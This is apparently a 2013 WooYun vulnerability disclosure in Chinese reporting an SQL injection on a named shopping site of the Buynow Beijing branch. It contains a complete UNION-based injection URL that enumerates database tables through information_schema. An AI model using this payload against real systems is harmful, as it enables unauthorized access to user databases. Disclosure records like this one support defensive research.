漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-031651
漏洞标题：百脑汇北京分站购物网出现高级SQL注入漏洞
相关厂商：百脑汇北京分站购物网
漏洞作者： ____冷.枫、
提交时间：2013-07-22 15:59
修复时间：2013-09-05 16:00
公开时间：2013-09-05 16:00
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-07-22： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-09-05： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
百脑汇北京分站购物网出现高级SQL注入
详细说明：
北京分站
http://beijing.buynow.com.cn/bnh.php?mod=shop_info&su_id=1767 union+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,(select+concat(0x53514c69,mid((select+concat(group_concat(0x6868,hex(cast(r+as+char)),0x6a6a,hex(cast(ifnull(q,0x30)+as+char)),0x6868+order+by+r+separator+0x6767),0x69)from(select+TABLE_NAME+r,table_rows+q+from+information_schema.tables+where+TABLE_SCHEMA=0x756c74726178+order+by+r+limit+136,65536)x),1,65536)))--+
漏洞证明：
null
严重的数百个用户数据库导致泄漏，赶紧修复吧
修复方案：
我菜鸟，你比我懂,希望能收到一点点小礼物(*^__^*) 嘻嘻
版权声明：转载请注明来源 ____冷.枫、@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝